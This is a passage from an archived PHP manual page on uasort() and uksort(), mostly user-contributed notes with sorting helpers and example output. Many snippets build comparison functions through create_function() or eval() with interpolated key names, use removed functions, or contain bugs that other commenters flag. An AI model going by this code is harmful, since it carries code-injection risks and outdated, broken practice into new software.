    //Creates a new data item and adds it to our array
    function add($name,$x,$y)
    {
        $this->dataSet[] = new dataItem($name,$x,$y);
    }

    //The wrapper sort function
    function sortDataSet($s)
    {
        //Sort by the given parameter
        switch($s)
        {
            case "name":
                //Note use of array to reference member method of this object in callback
                uasort($this->dataSet,array($this,"cmpName"));
                break;

            case "x":
                uasort($this->dataSet,array($this,"cmpX"));
                break;

            case "y":
                uasort($this->dataSet,array($this,"cmpY"));
                break;

            case "added":
            default:
                //Re-sort array by original keys
                ksort($this->dataSet);
        }
    }

    //Callback function for sorting by name
    //$a and $b are dataItem objects
    function cmpName($a,$b)
    {
        //Use sort() for simple alphabetical comparison
        //Convert to lowercase to ensure consistent behaviour
        $sortable = array(strtolower($a->name),strtolower($b->name));
        $sorted = $sortable;
        sort($sorted);

        //If the names have switched position, return -1. Otherwise, return 1.
        return ($sorted[0] == $sortable[0]) ? -1 : 1;
    }

    //Callback function for sorting by x
    //$a and $b are dataItem objects
    function cmpX($a,$b)
    {
        //Use sort() for simple alphabetical comparison
        //Convert to lowercase to ensure consistent behaviour
        $sortable = array(strtolower($a->x),strtolower($b->x));
        $sorted = $sortable;
        sort($sorted);

        //If the names have switched position, return -1. Otherwise, return 1.
        return ($sorted[0] == $sortable[0]) ? -1 : 1;
    }

    //Callback function for sorting by y
    //$a and $b are dataItem objects
    function cmpY($a,$b)
    {
        //If $a's y attribute >= $b's y attribute, return 1. Otherwise, return -1.
        return ($a->y >= $b->y) ? 1 : -1;
    }

}

//Create a collection object
$myCollection = new collection();

//Add a few "records"
$myCollection->add("pancake","egg",7);
$myCollection->add("France","Paris",2);
$myCollection->add("Naked Gun","Leslie Nielsen",1);
$myCollection->add("OSX","huge icons",33);
$myCollection->add("telephone","keypad",-3);

//Test the output

//Sort by name:
$myCollection->sortDataSet("name");
print_r($myCollection->dataSet);

//Sort by x
$myCollection->sortDataSet("x");
print_r($myCollection->dataSet);

//Sort by y
$myCollection->sortDataSet("y");
print_r($myCollection->dataSet);

//Sort by order added
$myCollection->sortDataSet("added");
print_r($myCollection->dataSet);

?>

Will give this output (Anotated and re-formatted for ease of reading):

Sorted by name:
France         Paris            2
Naked Gun      Leslie Nielsen   1
OSX            huge icons       33
pancake        egg              7
telephone      keypad          -3

Sorted by x:
pancake        egg              7
OSX            huge icons       33
telephone      keypad          -3
Naked Gun      Leslie Nielsen   1
France         Paris            2

Sorted by y:
telephone      keypad          -3
Naked Gun      Leslie Nielsen   1
France         Paris            2
pancake        egg              7
OSX            huge icons       33

Sorted as added:
pancake        egg              7
France         Paris            2
Naked Gun      Leslie Nielsen   1
OSX            huge icons       33
telephone      keypad          -3

This is obviously a trivial case, but it can be very useful for larger data structures.
rlynch at lynchmarks dot com 16-May-2005 05:36
A subtle bug, corrected...

<?php
function masort(&$data, $sortby)
{
   static $sort_funcs = array();

   if (empty($sort_funcs[$sortby])) {
       $code = "\$c=0;";
       foreach (split(',', $sortby) as $key) {
         $array = array_pop($data);
         array_push($data, $array);
         if(is_numeric($array[$key]))
           $code .= "if ( \$c = ((\$a['$key'] == \$b['$key']) ? 0:((\$a['$key'] < \$b['$key']) ? -1 : 1 )) ) return \$c;";
         else
           $code .= "if ( (\$c = strcasecmp(\$a['$key'],\$b['$key'])) != 0 ) return \$c;\n";
       }
       $code .= 'return $c;';
       $sort_func = $sort_funcs[$sortby] = create_function('$a, $b', $code);
   } else {
       $sort_func = $sort_funcs[$sortby];
   }
   $sort_func = $sort_funcs[$sortby];
   uasort($data, $sort_func);
}
?>

Note that

$code .= "if ( \$c = ((\$a['$key'] == \$b['$key']) ? 0:((\$a['$key'] < \$b['$key']) ? -1 : 1 )) ) return \$c;";

Has had the "return \$c" added.  Ultimately what the method is trying to accomplish is to build a chain of sort-order precedence.  But this requires each evaluation to short-circuit out with a return.  It was missing.

Peace
lucas dot karisny at linuxmail dot org 12-Feb-2005 06:09
The following is a modification of the dholme/messju masort func using david's float code with automatic data type detection.  As long as the value isn't a string numeral (I.E. "1", '13.4') this should sort strings and numbers without having to explicity set which they are.

<?php
function masort(&$data, $sortby)
{
   static $sort_funcs = array();

   if (empty($sort_funcs[$sortby])) {
       $code = "\$c=0;";
       foreach (split(',', $sortby) as $key) {
         $array = array_pop($data);
         array_push($data, $array);
         if(is_numeric($array[$key]))
           $code .= "if ( \$c = ((\$a['$key'] == \$b['$key']) ? 0:((\$a['$key'] < \$b['$key']) ? -1 : 1 )) );";
         else
           $code .= "if ( (\$c = strcasecmp(\$a['$key'],\$b['$key'])) != 0 ) return \$c;\n";
       }
       $code .= 'return $c;';
       $sort_func = $sort_funcs[$sortby] = create_function('$a, $b', $code);
   } else {
       $sort_func = $sort_funcs[$sortby];
   }
   $sort_func = $sort_funcs[$sortby];
   uasort($data, $sort_func);
}
?>
siefer at sym dot net 04-Oct-2004 02:24
Hello naholyr at yahoo dot fr!

should it be

$cmp = create_function('$a, $b', "return $cmp_val;");

?

this works with my arrays ;-)

regards, Christopher
marek at lewczuk dot com 27-May-2004 04:01
Below another array sorting function - you can use many keys, whether order type is ascendant or descendant, if values of given key should be treat as string or numeric, if array keys should be preserved. This function is locale-safe - it means that string sorting will be based on setLocale settings. You should be aware that I did not make comprehensive tests, so be careful...

// my locales
SetLocale(LC_COLLATE,"pl_PL.UTF-8");
SetLocale(LC_CTYPE, "pl_PL.UTF-8");

function Array_Sort ($array, $arguments = Array(), $keys = true) {

  // comparing function code
  $code = "";

  // foreach sorting argument (array key)
  foreach ($arguments as $argument) {

    // order field
    $field = substr($argument, 2, strlen($argument));

    // sort type ("s" -> string, "n" -> numeric)
    $type = $argument[0];

    // sort order ("+" -> "ASC", "-" -> "DESC")
    $order = $argument[1];

    // add "if" statement, which checks if this argument
       should be used
    $code .= "if (!Is_Numeric(\$result) || \$result == 0) ";

    // if "numeric" sort type
    if (strtolower($type) == "n") $code .= $order == "-" ? "\$result = (\$a['{$field}'] > \$b['{$field}'] ? -1 : (\$a['{$field}'] < \$b['{$field}'] ? 1 : 0));" : "\$result = (\$a['{$field}'] > \$b['{$field}'] ? 1 : (\$a['{$field}'] < \$b['{$field}'] ? -1 : 0));";

    // if "string" sort type
    else $code .= $order == "-" ? "\$result = strcoll(\$a['{$field}'], \$b['{$field}']) * -1;" : "\$result = strcoll(\$a['{$field}'], \$b['{$field}']);";
  }

  // return result
  $code .= "return \$result;";

  // create comparing function
  $compare = create_function('$a, $b', $code);

  // sort array and preserve keys
  if ($keys) uasort($array, $compare);

  // sort array, but not preserve keys
  else usort($array, $compare);

  // return array
  return $array;
}

Example array:
$array['sdsd'] = array("dir" => 1, "name" => "sas", "olek" => "sdsd");
$array['sds2'] = array("dir" => 2, "name" => "&#347;as", "olek" => "t");

Example - preserve keys:
print_r(Array_Sort($array, Array("s-name", "n-dir", "s+olek")));

Array
(
    [sds2] => Array
        (
            [dir] => 1
            [name] => &#347;as
            [olek] => t
        )

    [sdsd] => Array
        (
            [dir] => 1
            [name] => sas
            [olek] => sdsd
        )

)

Example - without preserving keys:
print_r(Array_Sort($array, Array("s-name", "n-dir", "s+olek")), false);

Array
(
    [0] => Array
        (
            [dir] => 1
            [name] => &#347;as
            [olek] => t
        )

    [1] => Array
        (
            [dir] => 1
            [name] => sas
            [olek] => sdsd
        )

)

Enyoj
david [__at__] castlelaing.com 10-May-2004 09:28
WARNING:-Regarding remmy.cjb.net (22-Oct-2003 05:57) mutisort() function:

Sorting by floating point numbers doesn't work in the current function. Use the modified version below if you want to sort by a floating point column.

<?php
// Based on the other notes given before.
// Sorts an array (you know the kind) by key
// and by the comparison operator you prefer.

// Note that instead of most important criteron first, it's
// least important criterion first.

// The default sort order is ascending, and the default sort
// type is strnatcmp.

// function multisort($array[, $key, $order, $type]...)
function multisort($array)
{
   for($i = 1; $i < func_num_args(); $i += 3)
   {
       $key = func_get_arg($i);
       if (is_string($key)) $key = '"'.$key.'"';

       $order = true;
       if($i + 1 < func_num_args())
           $order = func_get_arg($i + 1);

       $type = 0;
       if($i + 2 < func_num_args())
           $type = func_get_arg($i + 2);

       switch($type)
       {
           case 1: // Case insensitive natural.
               $t = 'strcasecmp($a[' . $key . '], $b[' . $key . '])';
               break;
           case 2: // Numeric.
               $t = '($a[' . $key . '] == $b[' . $key . ']) ? 0:(($a[' . $key . '] < $b[' . $key . ']) ? -1 : 1)';
               break;
           case 3: // Case sensitive string.
               $t = 'strcmp($a[' . $key . '], $b[' . $key . '])';
               break;
           case 4: // Case insensitive string.
               $t = 'strcasecmp($a[' . $key . '], $b[' . $key . '])';
               break;
           default: // Case sensitive natural.
               $t = 'strnatcmp($a[' . $key . '], $b[' . $key . '])';
               break;
       }
       echo $t;
       usort($array, create_function('$a, $b', '; return ' . ($order ? '' : '-') . '(' . $t . ');'));
   }
   return $array;
}
?>
dn dot php at gmx dot de 23-Nov-2003 04:34
regarding remmy.cjb.net (22-Oct-2003 05:57) note:
The "multisort" function is not working. Try the following example.
( I hope this and your note will be deleted soon.)
..- Denis

<?php
$a = array(
    array('c1' => 1, 'c2' => 1, 'c3' => 1, 'c4' => 1),
    array('c1' => 1, 'c2' => 1, 'c3' => 1, 'c4' => 2),
    array('c1' => 1, 'c2' => 1, 'c3' => 2, 'c4' => 1),
    array('c1' => 1, 'c2' => 1, 'c3' => 2, 'c4' => 2)
);

echo('<pre>');
print_r(multisort($a, "'c4'", true, 2,"'c3'", true, 2,"'c2'", true, 2,"'c1'", true, 2));
echo('</pre>');
?>
remmy.cjb.net 21-Oct-2003 11:57
Hope this helps!

- Remmy

<?php

// Based on the other notes given before.
// Sorts an array (you know the kind) by key
// and by the comparison operator you prefer.

// Note that instead of most important criteron first, it's
// least important criterion first.

// The default sort order is ascending, and the default sort
// type is strnatcmp.

// function multisort($array[, $key, $order, $type]...)
function multisort($array)
{
    for($i = 1; $i < func_num_args(); $i += 3)
    {
        $key = func_get_arg($i);

        $order = true;
        if($i + 1 < func_num_args())
            $order = func_get_arg($i + 1);

        $type = 0;
        if($i + 2 < func_num_args())
            $type = func_get_arg($i + 2);

        switch($type)
        {
            case 1: // Case insensitive natural.
                $t = 'strcasenatcmp($a[' . $key . '], $b[' . $key . '])';
                break;
            case 2: // Numeric.
                $t = '$a[' . $key . '] - $b[' . $key . ']';
                break;
            case 3: // Case sensitive string.
                $t = 'strcmp($a[' . $key . '], $b[' . $key . '])';
                break;
            case 4: // Case insensitive string.
                $t = 'strcasecmp($a[' . $key . '], $b[' . $key . '])';
                break;
            default: // Case sensitive natural.
                $t = 'strnatcmp($a[' . $key . '], $b[' . $key . '])';
                break;
        }

        uasort($array, create_function('$a, $b', 'return ' . ($order ? '' : '-') . '(' . $t . ');'));
    }

    return $array;
}

$a = array(
    array('id' => 1, 'name' => 'apple'),
    array('id' => 2, 'name' => 'orange'),
    array('id' => 8, 'name' => 'banana'),
    array('id' => 8, 'name' => 'grapefruit'),
    array('id' => 9, 'name' => 'smoke'),
    array('id' => 1, 'name' => 'screen')
);

// This works like MYSQL 'ORDER BY id DESC, name ASC'
// Note the quoting of string literal keys.
echo('<pre>');
print_r(multisort($a, "'name'", true, 0, "'id'", false, 2));
echo('</pre>');

?>
cablehead 16-Sep-2003 09:08
dholmes we turned your masort function into a smarty plugin:

http://www.phpinsider.com/smarty-forum/viewtopic.php?t=1079

messju contributed the following performance improvements.

function masort(&$data, $sortby)
{
    static $sort_funcs = array();

    if (empty($sort_funcs[$sortby])) {
        $code = "\$c=0;";
        foreach (split(',', $sortby) as $key) {
            $code .= "if ( (\$c = strcasecmp(\$a['$key'],\$b['$key'])) != 0 ) return \$c;\n";
        }
        $code .= 'return $c;';
        $sort_func = $sort_funcs[$sortby] = create_function('$a, $b', $code);
    } else {
        $sort_func = $sort_funcs[$sortby];
    }
    $sort_func = $sort_funcs[$sortby];
    uasort($data, $sort_func);
}

thank you for the cool function!
php at eden2 dot com 17-Jul-2003 04:36
Is it just me, or are the examples below misleading, and actually demonstrating situations that would be more appropriate for usort()?

After trying to make sense of the uasort() description, it sounds like it's more for sorting a 1D array like this:

"john" => "$23.12"
"tim" => "$6.50"
"bob" => "$18.54"

and getting back:

"tim" => "$6.50"
"bob" => "$18.54"
"john" => $23.12"

(assuming, of course, that your sort function is lopping off the $ and evaluating as a number -- which would complicate the use of asort() ;)
naholyr at yahoo dot fr 10-Jan-2003 09:35
You can sort a multidimensionnal array by any of its key with this function:

function multi_sort($array, $key)
{
  $cmp_val="((\$a['$key']>\$b['$key'])?1:
    ((\$a['$key']==\$b['$key'])?0:-1))";
  $cmp=create_function('$a, $b', "return $body;");
  uasort($array, $cmp);
  return $array;
}

example:
$myarray = array(
  array("name"=>"kernighan", "language"=>"c"),
  array("name"=>"lerdorf", "language"=>"php"),
  array("name"=>"Stroustrup", "language"=>"c++"),
  array("name"=>"Gosling", "language"=>"java")
);

multi_sort($myarray, "name") returns:
name=Gosling    language=java
name=Kernighan    language=c
name=Lerdorf    language=php
name=Stroustrup    language=c++
dholmes at jccc d0t net 09-Oct-2002 02:27
Here is a little sort function that actually uses a dynamic callback for usort to do it's thing.

It assumes your data is in the form of:
    $data = array(
            array('ID'=>'6','LAST'=>'Holmes','FIRST'=>'Dan'),
            array('ID'=>'1234','LAST'=>'Smith','FIRST'=>'Agent K'),
            array('ID'=>'2','LAST'=>'Smith','FIRST'=>'Agent J'),
            array('ID'=>'4','LAST'=>'Barney','FIRST'=>'Bob'));

Now, you want to sort on one or more cols, don't you?

masort($data, 'LAST,FIRST');
or
masort($data,array('FIRST','ID'));

Of course you could add a bunch to it (like numeric comparison if appropriate, desc/asc, etc) but it works for me.

function masort(&$data, $sortby){
    if(is_array($sortby)){
        $sortby = join(',',$sortby);
    }

    uasort($data,create_function('$a,$b','$skeys = split(\',\',\''.$sortby.'\');
        foreach($skeys as $key){
            if( ($c = strcasecmp($a[$key],$b[$key])) != 0 ){
                return($c);
            }
        }
        return($c); '));
}
Notice that I am splitting the string in the comparison function? While this is certainly slower, it was the only way I would find to "pass" and "array".  If anyone has a better way, please suggest.  Then inside, we (string) compare the values only moving to the next key if the values are the same...and so on, and so on.
stilgar_cpsNOSPAM at zipmail dot NOSPAMcom dot br 05-Sep-2001 02:30
Use example:

$array[0]['Fator1']=7;
$array[0]['Fator2']="Name";
$array[1]['Fator1']=5;
$array[1]['Fator2']="Name";
$array[2]['Fator1']=7;
$array[2]['Fator2']="NameDiferente";
.....

We want to order by Fator1, then Fator2, then:

function Compare($ar1, $ar2)
{
   if ($ar1['Fator1']<$ar2['Fator1'])
      return -1;
   else if ($ar1['Fator1']>$ar2['Fator1'])
      return 1;
   if ($ar1['Fator2']<$ar2['Fator2'])
      return -1;
   else if ($ar1['Fator2']>$ar2['Fator2'])
      return 1;
   return 0;
}

To sort now, we use:

uasort($array, 'Compare');
sort
uksort
Array Functions


Sort an array by keys using a user-defined comparison function

uasort
usort
Array Functions
PHP Manual

uksort

(PHP 4, PHP 5)

uksort — Sort an array by keys using a user-defined comparison function

Description

bool uksort ( array &$array , callback $cmp_function )

uksort() will sort the keys of an array using a user-supplied comparison function. If the array you wish to sort needs to be sorted by some non-trivial criteria, you should use this function.

Parameters

array

The input array.

cmp_function

The callback comparison function.

Function cmp_function should accept two parameters which will be filled by pairs of array keys. The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 uksort() example

<?php
function cmp($a, $b)
{
    $a = preg_replace('@^(a|an|the) @', '', $a);
    $b = preg_replace('@^(a|an|the) @', '', $b);
    return strcasecmp($a, $b);
}

$a = array("John" => 1, "the Earth" => 2, "an apple" => 3, "a banana" => 4);

uksort($a, "cmp");

foreach ($a as $key => $value) {
    echo "$key: $value\n";
}
?>

The above example will output:

an apple: 3
a banana: 4
the Earth: 2
John: 1

See Also

  • usort() - Sort an array by values using a user-defined comparison function
  • The comparison of array sorting functions

User Contributed Notes

mdsky at web dot de 23-May-2010 11:26
Case insensitive without own function:

uksort($array, "strnatcasecmp");
contacto at hardcode dot com dot ar 29-Jul-2009 06:56
need a case insensitive sort by key function? i did and couldn find it, so:

<?php
function insensitive_uksort($a,$b) {
    return strtolower($a)<strtolower($b);
}
uksort($arr, "insensitive_uksort");
?>
brian dot short at gmail dot com 07-Jul-2009 07:58
If you need to periodically sort by grades (A, A+, D-, etc.), here is a compare function that compares strings by the case-insensitive method, unless it finds a grade, in which case it correctly sorts by putting "plus" grades first, unmarked grades second, and "minus" grades last.

<?php
function cmp($a, $b)
{
   $a = preg_replace('@^(a|an|the) @', '', $a);
   $b = preg_replace('@^(a|an|the) @', '', $b);

   //special code for grades
   if (strpos( $a, "+") !== false || strpos( $b, "+") !== false  ||
       strpos( $a, "-") !== false || strpos( $b, "-") !== false ){

        $substrA = substr($a, 0, 1);
        $substrB = substr($b, 0, 1);

        $modifierA = (strlen($a) == 2) ? substr($a, 1, 1) : "";
        $modifierB = (strlen($b) == 2) ? substr($b, 1, 1) : "";

        if ($substrA == $substrB){
            //figure out plusses and minuses.
            if ($modifierA == "+"){
                return -1;
            } else if ($modifierB == "+"){
                return 1;
            }

            if ($modifierA == "-"){
                return 1;
            } else if ($modifierB == '-'){
                return -1;
            }
        } else {
            return strcasecmp($a, $b);
        }

    }
   return strcasecmp($a, $b);
}

$grades = array(
                 "C+" => 13    ,
                "C" => 10     ,
                "D+" => 8     ,
                "B+" => 7     ,
                "C-" => 6     ,
                "A-" => 5     ,
                "F" => 5      ,
                "B" => 4      ,
                "B-" => 4     ,
                "D" => 3      ,
                "D-" => 3     ,
                "A+" => 1
    );

uksort($grades, "cmp");
?>

result:  Array
(
    [A+] => 1
    [A-] => 5
    [B+] => 7
    [B] => 4
    [B-] => 4
    [C+] => 13
    [C] => 10
    [C-] => 6
    [D+] => 8
    [D] => 3
    [D-] => 3
    [F] => 5
)
fgallan at gmail dot com 02-Aug-2007 09:22
muti-array special sort funciton:

<?php
/// mycmp functions ///
function mycmp_asc($a, $b) {
    global $_CMP_FORMULA;
    static $_CMP_FORMULA_VA, $_CMP_FORMULA_VB;
    if (!$_CMP_FORMULA_VA) {
        $_CMP_FORMULA_VA = '$va = ' . str_replace('{}', '$a', $_CMP_FORMULA) . ';';
    }
    if (!$_CMP_FORMULA_VB) {
        $_CMP_FORMULA_VB = '$vb = ' . str_replace('{}', '$b', $_CMP_FORMULA) . ';';
    }
    eval($_CMP_FORMULA_VA);
    eval($_CMP_FORMULA_VB);
    if ($va == $vb) return 0;
    else return ($va < $vb ? -1 : 1);
}
function mycmp_desc($a, $b) {
    global $_CMP_FORMULA;
    static $_CMP_FORMULA_VA, $_CMP_FORMULA_VB;
    if (!$_CMP_FORMULA_VA) {
        $_CMP_FORMULA_VA = '$va = ' . str_replace('{}', '$a', $_CMP_FORMULA) . ';';
    }
    if (!$_CMP_FORMULA_VB) {
        $_CMP_FORMULA_VB = '$vb = ' . str_replace('{}', '$b', $_CMP_FORMULA) . ';';
    }
    eval($_CMP_FORMULA_VA);
    eval($_CMP_FORMULA_VB);
    if ($va == $vb) return 0;
    else return ($va > $vb ? -1 : 1);
}

/// run sort ///
$r = array(
    array(
        'name' => 'name1',
        'numbers' => array(1,3,5,7,9),
    ),
    array(
        'name' => 'name2',
        'numbers' => array(5,6,7,8,9),
    ),
    array(
        'name' => 'name3',
        'numbers' => array(1,2,3,4,5),
    ),
);
global $_CMP_FORMULA;
$_CMP_FORMULA = 'array_sum({}["numbers"])';
usort($r, "mycmp_desc");
echo '<pre>'; print_r($r); echo '</pre>';
?>

print:
Array
(
    [0] => Array
        (
            [name] => name2
            [numbers] => Array
                (
                    [0] => 5
                    [1] => 6
                    [2] => 7
                    [3] => 8
                    [4] => 9
                )

        )

    [1] => Array
        (
            [name] => name1
            [numbers] => Array
                (
                    [0] => 1
                    [1] => 3
                    [2] => 5
                    [3] => 7
                    [4] => 9
                )

        )

    [2] => Array
        (
            [name] => name3
            [numbers] => Array
                (
                    [0] => 1
                    [1] => 2
                    [2] => 3
                    [3] => 4
                    [4] => 5
                )

        )

)
aleczapka at gmx dot net 14-Nov-2006 12:13
Since, so many people reused array_sorter class, I decided to put here some updated version with fixes.

<?php
//
// $Id: array_sorter.inc.php 82 2005-11-17 17:14:39Z aleczapka $
//

/**
* Handles multidimentional array sorting by a key (not recursive).
*
* @author Oliwier Ptak <aleczapka@gmail.com>
*/
class array_sorter
{
    var $skey = false;
    var $sarray = false;
    var $sasc = true;
    var $sas_object = false;

    /**
    * Constructor
    *
    * @access public
    * @param mixed $array array to sort
    * @param string $key array key to sort by
    * @param boolean $asc sort order (ascending or descending)
    */
    function array_sorter(&$array, $key, $asc=true, $as_object=false) // {{{
    {
        $this->sarray = $array;
        $this->skey = $key;
        $this->sasc = $asc;
        $this->sas_object = $as_object;
    } // }}}

    function debug()  // {{{
    {
        echo "skey: ".$this->skey."<br>";
        echo "sasc: ".$this->sasc."<br>";
    } // }}}

    /**
    * Sort method
    *
    * @access public
    * @param boolean $remap if true reindex the array to reset indexes
    */
    function sortit($remap=true)  // {{{
    {
        if (!is_array($this->sarray) || !array_key_exists($this->skey, @$this->sarray[0]))
            return $this->sarray;

        //$this->debug();

        uksort($this->sarray, array($this, "_as_cmp"));
        if ($remap)
        {
            $tmp = array();
            while (list($id, $data) = each($this->sarray))
                $tmp[] = $data;
            return $tmp;
        }
        return $this->sarray;
    } // }}}

    /**
    * Custom sort function
    *
    * @access private
    * @param mixed $a an array entry
    * @param mixed $b an array entry
    */
    function _as_cmp($a, $b)  // {{{
    {
        //since uksort will pass here only indexes get real values from our array
        if (!is_array($a) && !is_array($b))
        {
            //sort objects
            if ($this->sas_object)
            {
                $obj_a = $this->sarray[$a];
                $obj_b = $this->sarray[$b];

                $str = "\$a = \$obj_a->$this->skey;";
                $str .= "\$b = \$obj_b->$this->skey;";
                eval($str);
            }
            else
            {
                $a = $this->sarray[$a][$this->skey];
                $b = $this->sarray[$b][$this->skey];
            }
        }

        //if string - use string comparision
        if (!ctype_digit($a) && !ctype_digit($b) &&
            !is_int($a) && !is_int($b))
        {
            if ($this->sasc)
                return strcasecmp($a, $b);
            else
                return strcasecmp($b, $a);
        }
        else
        {
            if ($a == $b)
                return 0;

            if ($this->sasc)
                return ($a > $b) ? 1 : -1;
            else
                return ($a > $b) ? -1 : 1;
        }
    }  // }}}

}//end of class

?>
joelith at cyberone dot com dot au 12-Sep-2006 10:13
You can use this function to sort an array of days into order. We grabbed some data from a database which comes out as array('Monday'=>34, 'Sunday'=>45... etc but the day is not in order. So use this:

<?php
function cmp($a, $b){
    $days = array('Tuesday'=>0, 'Wednesday'=>1, 'Thursday'=>2, 'Friday'=>3, 'Saturday'=>4, 'Sunday'=>5, 'Monday'=>6);
    // company logic dictates a week begins on a Tuesday.
    if ($days[$a]<$days[$b]){
        return -1;
    }else{
        return 1;
    }
}
?>
skippy at zuavra dot net 28-Nov-2005 03:57
As silly as it may seem, you may sometimes need a comparison function which leaves the array in the same order. It's not as trivial as returning 0 (zero) all the time, since for some reason it doesn't actually leave the values alone.

Here's a simpler and faster version of the code presented by Ignatius Reilly in an earlier note, which can be used to infer original position based on the original array:

function cmp($a, $b) {
  if ($a == $b) return 0;
  global $target_array_here;
  static $keys;
  if (!$keys) $keys = array_keys($target_array_here);
  $x = array_search($a, $keys);
  $y = array_search($b, $keys);
  return ($x < $y ? -1 : 1);
}
Toni Soler 28-Sep-2005 01:51
Added "sort_type" to the previous class (ascendent/descendent options)

<?php
class t_object_sorter
{
    var $object_array;
    var $sort_by;

    function _comp($a,$b)
    {
        $key=$this->sort_by;
        if ($this->object_array[$a]->$key == $this->object_array[$b]->$key) return 0;
        return ($this->object_array[$a]->$key < $this->object_array[$b]->$key) ? -1 : 1;
    }

    function _comp_desc($a,$b)
    {
        $key=$this->sort_by;
        if ($this->object_array[$a]->$key == $this->object_array[$b]->$key) return 0;
        return ($this->object_array[$a]->$key > $this->object_array[$b]->$key) ? -1 : 1;
    }

    function sort(&$object_array, $sort_by, $sort_type = "ASC")
    {
        $this->object_array = $object_array;
        $this->sort_by      = $sort_by;
        if ($sort_type == "DESC")
        {
            uksort($object_array, array($this, "_comp_desc"));
        }
        else
        {
            uksort($object_array, array($this, "_comp"));
        }
    }
}
?>
Commanace at gmail dot com 27-Aug-2005 09:38
I've written a small class that will sort arrays of objects by a certain attribute:

<?php
class t_object_sorter
{
    protected $object_array;
    protected $sort_by;

    private function _comp($a,$b)
    {
        $key=$this->sort_by;
        debug($this->object_array[$a],__FILE__,__LINE__);
        if ($this->object_array[$a]->$key == $this->object_array[$b]->$key) return 0;
        return ($this->object_array[$a]->$key < $this->object_array[$b]->$key) ? -1 : 1;
    }

    public function sort(&$object_array, $sort_by)
    {
        $this->object_array = $object_array;
        $this->sort_by      = $sort_by;
        uksort($object_array, array($this, "_comp"));
    }
}
?>

It is used like that:

<?php
$sorter = new t_object_sorter;
$sorter->sort($menu->item, 'position');
?>

This call will sort all "item"-objects of the object "menu" by their attribute "position".

I hope this is helpfull.
Jimomighty 19-Mar-2005 07:30
...

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return ($a < $b) ? -1 : 1;
}

function uksort_tree ( &$array )
{
    // [PHP5] foreach ( $array as &$value )
    foreach ( $array as $key => $value )
    {
       if ( is_array ( $value ) )
       {
            // [PHP5] uksort_tree ( $value );
           uksort_tree ( $array[$key] );
       }
    }

    uksort( $array, "cmp" );
}

uksort_tree( $myEntryArray );

...
aleczapka at gmx dot net 22-Dec-2004 04:35
One remark regarding array_sorter class.
It won't work correctly with eg. dates from mysql like 20041206105350, cause you can't convert such number into integer. To fix it remove intval() from the code. If the variable is a number it will work without converting this to int anyways. Here is the fix.

<?php
....
if ($a == $b)
    return 0;
if ($this->sasc)
    return ($a > $b) ? 1 : -1;
else
    return ($a > $b) ? -1 : 1;
...
?>
jg at delegation dot ca 17-Dec-2004 07:41
To sort dates with uksort:

function datediff($a, $b) {

$a = date('U',$a);
$b = date('U',$b);

if ($a == $b) $r = 0;
else $r = ($a > $b) ? 1: -1;

return $r;
}
aleczapka at gmx dot net 06-Dec-2004 04:27
Here is a small and very fast object to handle sorting of multidimentional arrays by a key.
<?php
/**
* Handles multidimentional array sorting by a key (not recursive)
*
* @author Oliwier Ptak <aleczapka at gmx dot net>
*/
class array_sorter
{
    var $skey = false;
    var $sarray = false;
    var $sasc = true;

    /**
    * Constructor
    *
    * @access public
    * @param mixed $array array to sort
    * @param string $key array key to sort by
    * @param boolean $asc sort order (ascending or descending)
    */
    function array_sorter(&$array, $key, $asc=true)
    {
        $this->sarray = $array;
        $this->skey = $key;
        $this->sasc = $asc;
    }

    /**
    * Sort method
    *
    * @access public
    * @param boolean $remap if true reindex the array to rewrite indexes
    */
    function sortit($remap=true)
    {
        $array = &$this->sarray;
        uksort($array, array($this, "_as_cmp"));
        if ($remap)
        {
            $tmp = array();
            while (list($id, $data) = each($array))
                $tmp[] = $data;
            return $tmp;
        }
        return $array;
    }

    /**
    * Custom sort function
    *
    * @access private
    * @param mixed $a an array entry
    * @param mixed $b an array entry
    */
    function _as_cmp($a, $b)
    {
        //since uksort will pass here only indexes get real values from our array
        if (!is_array($a) && !is_array($b))
        {
            $a = $this->sarray[$a][$this->skey];
            $b = $this->sarray[$b][$this->skey];
        }

        //if string - use string comparision
        if (!ctype_digit($a) && !ctype_digit($b))
        {
            if ($this->sasc)
                return strcasecmp($a, $b);
            else
                return strcasecmp($b, $a);
        }
        else
        {
            if (intval($a) == intval($b))
                return 0;

            if ($this->sasc)
                return (intval($a) > intval($b)) ? -1 : 1;
            else
                return (intval($a) > intval($b)) ? 1 : -1;
        }
    }

}//end of class
?>

Sample $input_array:

Array
(
    [0] => Array
        (
            [id] => 961
            [uid] => 29
            [gid] => 12
            [parent_id] => 147
            [created] => 20041206105350
            [modified] => 20041206110702
        )

    [1] => Array
        (
            [id] => 41
            [uid] => 29
            [gid] => 12
            [parent_id] => 153
            [created] => 20041025154009
            [modified] => 20041206105532
        )

    [2] => Array
        (
            [id] => 703
            [uid] => 29
            [gid] => 12
            [parent_id] => 419
            [created] => 20041025154132
            [modified] => 20041027150259
        )

Example of usage:
<?php
    function multi_sort(&$array, $key, $asc=true)
    {
        $sorter = new array_sorter($array, $key, $asc);
        return $sorter->sortit();
    }
    //sort by parent_id in descending order
    $my_array = multi_sort($input_array, "parent_id", false);
?>

The result array will be:
Array
(

    [0] => Array
        (
            [id] => 703
            [uid] => 29
            [gid] => 12
            [parent_id] => 419
            [created] => 20041025154132
            [modified] => 20041027150259
        )

    [1] => Array
        (
            [id] => 41
            [uid] => 29
            [gid] => 12
            [parent_id] => 153
            [created] => 20041025154009
            [modified] => 20041206105532
        )

    [2] => Array
        (
            [id] => 961
            [uid] => 29
            [gid] => 12
            [parent_id] => 147
            [created] => 20041206105350
            [modified] => 20041206110702
        )
fabriceb at gmx dot net 08-Jul-2004 06:26
(about sorting an array of objects by their properties in a class - inspired by webmaster at zeroweb dot org at usort function)
I'm using classes as an abstraction for querying records in a database and use arrays of objects to store records that have an 1 to n relationship. E.g. a class "family" has family members stored as an array of objects. Each of those objects prepresents a record in a database related to the family (by it's familyId).

To identify members, I'm using their memberId as the key of the array e.g. $family->members[$memberId].
To sort the family members AFTER fetching them with the database query, you can use the functions _objSort and sortMembers which will sort the "members" array by key using it's properties (for space reasons I didn't include the methods used to open the records):
<?php
class familyMember
{
    var $memberId;
    var $familyId;
    var $firstName;
    var $age;
    var $hairColor;
// ...
}

class family
{
    var $familyId;
    var $name;
    var $members = array(); // array of familyMember objects
    var $sortFields = array();
    var $sortDirections = array();
    // ...
    function _objSort(&$a, &$b, $i = 0)
    {
        $field        = $this->sortFields[$i];
